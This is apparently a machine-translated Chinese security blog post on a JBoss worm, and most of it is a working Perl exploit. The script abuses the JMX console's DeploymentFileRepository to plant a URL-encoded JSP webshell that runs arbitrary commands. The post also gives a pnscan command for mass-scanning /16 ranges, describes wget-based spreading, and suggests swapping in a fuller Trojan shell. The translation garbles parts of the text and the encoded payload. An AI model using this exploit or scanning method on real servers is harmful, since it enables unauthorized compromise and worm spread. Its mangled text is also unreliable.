Analysis and utilization of JBoss worms

Let's talk about a little thing recently. JBOSS worm... First, send an exp #! /Usr/bin/perluse IO: Socket; print "JBoss Exp... \ n"; if (@ ARGV! = 2) {print "perl $0 & lt; IP & gt; & lt; Port & gt; \ n"; exit ;}$ ip = $ ARGV [0]; $ port = $ ARGV [1]; $ xkcmd = "HEAD/jmx-console/HtmlAdaptor? Action = invokeOpByName & amp; name = jboss. admin % 3 Aservice % 3 DDeploymentFileRepository & amp; methodName = store & amp; argType = java. lang. string & amp; arg0 = xk. war & amp; argType = java. lang. string & amp; arg1 = xk & amp; argType = java. lang. string & amp; arg2 =. jsp & amp; argType = java. lang. string & amp; arg3 = % 3c % 25% 40% 20% 70% 61% 67% 65% 20% 69% 6d % 70% 6f % 72% 3d % 74% 6a % 22% 61% 76% 2e % 61% 75% 6c % 2e % 2a % 2c % 6a % 61% 76% 61% 2e % 69% 6f % 2e % 2a % 22% 3e % 25% 3c % 20% 20% 25% 3e % 20% 3c % 48% 4d % 4c % 3e % 3c % 54% 4f % 42% 3e % 44% 3c % 59% 4f % 20% 4d % 46% 4d % 52% 20% 45% 4f % 44% 3d % 22% 47% 45% 54% 22% 4e % 20% 4d % 41% 3d % 45% 22% 6f % 6d % 63% 6e % 65% 74% 73% 22% 20% 41% 4f % 4e % 3d % 22% 22% 3e % 20% 3c % 49% 4e % 50% 55% 54% 20% 54% 59% 50% 3d % 45% 22% 74% 65% 78% 74% 22% 4e % 20% 4d % 41% 3d % 45% 22% 6f % 6d % 6d % 65% 6e % 74% 22% 3e % 20% 3c % 49% 4e % 50% 55% 54% 20% 54% 59% 3d % 50% 45% 22% 73% 6d % 75% 62% 69% 74% 22% 20% 41% 4c % 55% 45% 3d % 22% 53% 65% 6e % 64% 22% 3e % 20% 3 C % 2f % 46% 4f % 52% 4d % 3e % 20% 3c % 70% 72% 3e % 65% 3c % 20% 25% 20% 69% 66% 20% 28% 72% 65% 71% 75% 2e % 65% 73% 74% 50% 61% 72% 61% 6d % 65% 74% 65% 72% 28% 22% 63% 6f % 6d % 6d % 65% 6e % 74% 22% 29% 20% 3d % 21% 6e % 20% 6c % 6c % 75% 29% 7b % 20% 6f % 75% 74% 2e % 70% 72% 69% 6e % 74% 6c % 6e % 28% 22% 43% 6f % 6d % 61% 6e % 64% 3a % 20% 22% 20% 2b % 20% 72% 65% 71% 75% 65% 73% 74% 2e % 67% 65% 74% 50% 61% 72% 61% 6d % 65% 74% 65% 72% 28% 22% 63% 6f % 6d % 65% 6e % 74% 22% 29% 20% 2b % 20% 22% 3c % 42% 3e % 52% 22% 3b % 29% 50% 72% 6f % 63% 65% 73% 73% 20% 70% 3d % 20% 20% 52% 6e % 75% 74% 6d % 69% 2e % 65% 67% 65% 74% 6e % 52% 6d % 75% 74% 69% 65% 2e % 65% 78% 65% 63% 28% 72% 65% 71% 75% 65% 73% 74% 2e % 67% 65% 74% 50% 61% 72% 61% 6d % 65% 74% 65% 72% 28% 22% 63% 6f % 6d % 6d % 65% 6e % 74% 22% 29% 29% 3b % 20% 4f % 75% 74% 70% 75% 74% 53% 74% 72% 6d % 65% 6f % 61% 3d % 20% 2e % 73% 20% 4f % 20% 70% 67% 65% 74% 75% 74% 53% 74% 72% 65% 61% 6d % 28% 3b % 29% 20% 6e % 49% 70% 75% 74% 53% 74% 72% 65% 6d % 61% 6e % 20% 3d % 69% 2e % 20% 20% 74% 49% 6e % 70% 75% 74% 53% 74% 72% 65% 61% 6d % 28% 3b % 29% 20% 44% 61% 74% 61% 6e % 49% 70% 75% 74% 53% 74% 72% 65% 6d % 61% 20% 64% 69% 3d % 20% 6e % 65% 77% 20% 44% 61% 74% 61% 49% 6e % 70% 75% 74% 53% 74% 72% 65% 61% 6d % 28% 6e % 69% 3b % 29% 20% 53% 74% 6e % 72% 69% 64% 69% 73% 72% 20% 3d % 20% 64% 69% 73% 2e % 72% 65% 61% 4c % 64% 6e % 69% 65% 28% 3b % 29% 20% 6c % 77% 68% 69% 65% 20% 28% 20% 64% 69% 72% 20% 21% 3d % 20% 6e % 75% 6c % 6c % 20% 29% 20% 7b % 20% 6f % 75% 74% 2e % 70% 72% 6e % 69% 6c % 6e % 74% 28% 64% 69% 29% 3 B % 20% 64% 69% 73% 72% 3d % 20% 20% 64% 69% 2e % 73% 72% 65% 61% 4c % 64% 6e % 69% 65% 3b % 28% 7d % 29% 7d % 20% 20% 3e % 20% 3c % 2f % 70% 72% 65% 3e % 20% 3c % 2f % 42% 4f % 44% 59% 3e % 3c % 2f % 48% 4d % 4c % 3e & amp; argType = boolean & amp; arg4 = True HTTP/1.0 \ r \ n "; my $ exp = new IO: Socket: INET (PeerAddr = & gt; $ ip, PeerPort = & gt; $ port, TimeOut = & gt; 120); print $ exp $ xkcmd; used to break through JBoss login verification, upload a pony/xk/xk.jspwww.2cto.com. Let's take a look at the JBoss worm code. The principles are briefly described. First, use pnscan to scan servers that use JBoss .. /Pnscan-r JBoss-w \ "HEAD/HTTP/1.0 \ r \ n \"-t 6500 $ partx. $ party.0.0/16 80>/tmp/xxxxx then use the exp I posted above to upload the horse. Select a Linux server and download a compressed package through WGET. The package contains pnscan and several perl scripts. And then loop down .... I wrote this article mainly for the purpose of 1. You can have another idea when encountering JBoss during later Intranet penetration. 2. You can study the principle of the worm. The article is over, and it is not a new thing. You can send it at will and keep it low-key... By the way, if this JSP pony is inconvenient, you can replace it with a JSP shell statement, and then POST a Trojan.


Www.2cto.com: jboss cleanup steps: http://www.bkjia.com/Article/201201/115934.html